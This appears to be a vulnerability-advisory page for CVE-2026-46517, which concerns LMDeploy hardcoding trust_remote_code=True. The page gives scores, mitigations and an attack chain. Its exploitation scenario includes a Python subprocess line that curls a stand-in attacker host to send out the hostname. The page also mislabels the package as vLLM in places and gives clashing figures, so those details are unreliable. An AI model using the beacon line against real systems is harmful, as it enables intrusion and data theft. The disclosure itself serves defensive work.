CVE-2026-46517: vLLM hardcoded trust_remote_code

Q: Is CVE-2026-46517 actively exploited?

No confirmed active exploitation of CVE-2026-46517 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-46517?

1) Immediately restrict LMDeploy to internally hosted or SHA-pinned model repositories—do not load any third-party HuggingFace repo without manual inspection of configuration_*.py files. 2) Run LMDeploy processes in rootless containers with seccomp/AppArmor profiles and no network egress to limit code execution blast radius. 3) Audit CI/CD pipelines for any dynamic model source references (floating version tags, user-supplied repo names) and replace with pinned commit SHAs. 4) Monitor HuggingFace model repos used in your pipelines for unexpected additions of configuration_*.py or auto_map keys in config.json. 5) Apply the suggested upstream patch manually if building from source: replace all hardcoded `trust_remote_code=True` with a parameter defaulting False and wire a `--trust-remote-code` CLI flag through all entry points. 6) Track the upstream GitHub Security Advisory GHSA-9xq9-36w5-q796 for patch availability.

Q: What systems are affected by CVE-2026-46517?

This vulnerability affects the following AI/ML architecture patterns: model serving, inference infrastructure, training pipelines, CI/CD model pipelines.

Q: What is the CVSS score for CVE-2026-46517?

CVE-2026-46517 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.15%.

CISO Take

LMDeploy hardcodes `trust_remote_code=True` across all model-loading code paths—including architecture detection, quantization, and calibration CLIs—with no CLI flag, environment variable, or warning allowing users to opt out, silently overriding HuggingFace Transformers' default-secure stance introduced in transformers ≥ 4.30 precisely to prevent this class of attack. Any user running `lmdeploy serve`, `lmdeploy lite calibrate`, or any downstream quant workflow against a third-party HuggingFace repository is implicitly exposed: a malicious repo needs only a `configuration_*.py` with top-level `os.system()` to achieve code execution at the moment the model config is fetched—before inference even begins. With 127 downstream dependents and no patch available as of publication, the blast radius extends beyond direct LMDeploy users to tools and platforms built on it; CI/CD pipelines automatically pulling model updates by tag are particularly high-risk targets. Until an upstream fix adding an opt-in `--trust-remote-code` flag lands, restrict LMDeploy to internally vetted, SHA-pinned model repositories and sandbox all inference workloads with minimal OS privileges.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

CVSS 7.8 High (AV:L/AC:L/PR:N/UI:R) understates practical risk in AI/ML environments where loading third-party HuggingFace models is standard workflow. No patch exists (affects lmdeploy ≤ 0.12.3, no patched version available). The absence of any opt-out mechanism means every LMDeploy installation loading non-internal models is affected by default. Exploitation complexity is trivial: publishing a malicious HF repo requires no special skills, and the attack triggers automatically on any lmdeploy command pointing at it. Mitigating factors are no CISA KEV status and no observed in-the-wild exploitation, but the ease of weaponization and the growing footprint of LMDeploy in enterprise AI inference pipelines elevate this beyond routine hardening.

How does the attack unfold?

Stage Malicious Model

Adversary publishes a HuggingFace model repository containing a poisoned configuration_*.py with top-level arbitrary code execution disguised as a legitimate model variant.

AML.T0058

Victim Loads Model

User or CI pipeline runs any lmdeploy CLI command referencing the malicious HF repo; no warning or opt-out is presented because trust_remote_code is hardcoded True.

AML.T0011

Implicit Code Execution

LMDeploy calls AutoConfig.from_pretrained with trust_remote_code=True; HF Transformers downloads and importlib-imports the malicious Python file, executing attacker code as the LMDeploy process user.

AML.T0010.003

Host Compromise

Attacker gains code execution on the inference server or GPU node, enabling credential theft, lateral movement, exfiltration of model weights and API keys, or persistent backdoor installation.

AML.T0112

Stage Malicious Model

Adversary publishes a HuggingFace model repository containing a poisoned configuration_*.py with top-level arbitrary code execution disguised as a legitimate model variant.

AML.T0058

Victim Loads Model

User or CI pipeline runs any lmdeploy CLI command referencing the malicious HF repo; no warning or opt-out is presented because trust_remote_code is hardcoded True.

AML.T0011

Implicit Code Execution

LMDeploy calls AutoConfig.from_pretrained with trust_remote_code=True; HF Transformers downloads and importlib-imports the malicious Python file, executing attacker code as the LMDeploy process user.

AML.T0010.003

Host Compromise

Attacker gains code execution on the inference server or GPU node, enabling credential theft, lateral movement, exfiltration of model weights and API keys, or persistent backdoor installation.

AML.T0112

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
vLLM	pip	<= 0.12.3	No patch
85.4K 129 dependents Pushed 5d ago 22% patched ~52d to patch Full package profile →

Do you use vLLM? You're affected.

How severe is it?

CVSS 3.1

7.8 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 4% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Local

AC Low

PR None

UI Required

S Unchanged

C High

I High

A High

What should I do?

1 step

1) Immediately restrict LMDeploy to internally hosted or SHA-pinned model repositories—do not load any third-party HuggingFace repo without manual inspection of configuration_*.py files. 2) Run LMDeploy processes in rootless containers with seccomp/AppArmor profiles and no network egress to limit code execution blast radius. 3) Audit CI/CD pipelines for any dynamic model source references (floating version tags, user-supplied repo names) and replace with pinned commit SHAs. 4) Monitor HuggingFace model repos used in your pipelines for unexpected additions of configuration_*.py or auto_map keys in config.json. 5) Apply the suggested upstream patch manually if building from source: replace all hardcoded trust_remote_code=True with a parameter defaulting False and wire a --trust-remote-code CLI flag through all entry points. 6) Track the upstream GitHub Security Advisory GHSA-9xq9-36w5-q796 for patch availability.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Supply Chain Code Execution Inference Framework AML.T0010.003 - Model AML.T0011 - User Execution AML.T0011.000 - Unsafe AI Artifacts AML.T0058 - Publish Poisoned Models AML.T0074 - Masquerading

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.1 - AI system design and architecture

NIST AI RMF

GOVERN 6.1 - Policies and procedures for AI supply chain risk

OWASP LLM Top 10

LLM03 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-46517?

LMDeploy hardcodes `trust_remote_code=True` across all model-loading code paths—including architecture detection, quantization, and calibration CLIs—with no CLI flag, environment variable, or warning allowing users to opt out, silently overriding HuggingFace Transformers' default-secure stance introduced in transformers ≥ 4.30 precisely to prevent this class of attack. Any user running `lmdeploy serve`, `lmdeploy lite calibrate`, or any downstream quant workflow against a third-party HuggingFace repository is implicitly exposed: a malicious repo needs only a `configuration_*.py` with top-level `os.system()` to achieve code execution at the moment the model config is fetched—before inference even begins. With 127 downstream dependents and no patch available as of publication, the blast radius extends beyond direct LMDeploy users to tools and platforms built on it; CI/CD pipelines automatically pulling model updates by tag are particularly high-risk targets. Until an upstream fix adding an opt-in `--trust-remote-code` flag lands, restrict LMDeploy to internally vetted, SHA-pinned model repositories and sandbox all inference workloads with minimal OS privileges.

Is CVE-2026-46517 actively exploited?

No confirmed active exploitation of CVE-2026-46517 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-46517?

1) Immediately restrict LMDeploy to internally hosted or SHA-pinned model repositories—do not load any third-party HuggingFace repo without manual inspection of configuration_*.py files. 2) Run LMDeploy processes in rootless containers with seccomp/AppArmor profiles and no network egress to limit code execution blast radius. 3) Audit CI/CD pipelines for any dynamic model source references (floating version tags, user-supplied repo names) and replace with pinned commit SHAs. 4) Monitor HuggingFace model repos used in your pipelines for unexpected additions of configuration_*.py or auto_map keys in config.json. 5) Apply the suggested upstream patch manually if building from source: replace all hardcoded `trust_remote_code=True` with a parameter defaulting False and wire a `--trust-remote-code` CLI flag through all entry points. 6) Track the upstream GitHub Security Advisory GHSA-9xq9-36w5-q796 for patch availability.

What systems are affected by CVE-2026-46517?

This vulnerability affects the following AI/ML architecture patterns: model serving, inference infrastructure, training pipelines, CI/CD model pipelines.

What is the CVSS score for CVE-2026-46517?

CVE-2026-46517 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.15%.

What is the AI security impact?

Affected AI Architectures

model servinginference infrastructuretraining pipelinesCI/CD model pipelines

MITRE ATLAS Techniques

AML.T0010.003 Model

AML.T0011 User Execution

AML.T0011.000 Unsafe AI Artifacts

AML.T0058 Publish Poisoned Models

AML.T0074 Masquerading

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.1

NIST AI RMF: GOVERN 6.1

OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

LMDeploy is a toolkit for compressing, deploying, and serving large language models. In versions 0.12.3 and prior, hardcoded "trust_remote_code=True" enables HF supply-chain RCE without user opt-in. At time of publication, there are no publicly available patches.

Exploitation Scenario

An adversary creates a HuggingFace model repository impersonating a popular open-source model variant (e.g., a fine-tuned InternLM or Qwen variant) and embeds a malicious `configuration_evil.py` containing `import subprocess; subprocess.Popen(['curl','https://attacker.com/beacon?h='+__import__('socket').gethostname()])` as top-level module code. The adversary promotes the repo via ML community forums, a GitHub tutorial, or dependency confusion against a common internal model alias. An ML engineer or automated pipeline runs `lmdeploy serve api_server attacker/evil-model`; LMDeploy calls `get_model_arch()` which invokes `AutoConfig.from_pretrained(repo, trust_remote_code=True)`; HuggingFace Transformers downloads and `importlib`-imports the malicious Python file, executing the attacker's beacon—or a reverse shell—as the inference server process user. On shared GPU infrastructure this gives the adversary access to model weights, API keys in environment variables, and lateral movement paths to other workloads.

Weaknesses (CWE)

CWE-1188 Initialization of a Resource with an Insecure Default Primary CWE-1188 Initialization of a Resource with an Insecure Default Primary CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes Primary CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes Primary CWE-94 Improper Control of Generation of Code ('Code Injection') Primary CWE-94 Improper Control of Generation of Code ('Code Injection') Primary CWE-1188 Initialization of a Resource with an Insecure Default CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes CWE-94 Improper Control of Generation of Code ('Code Injection')

CWE-1188 — Initialization of a Resource with an Insecure Default: The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

Source: MITRE CWE corpus.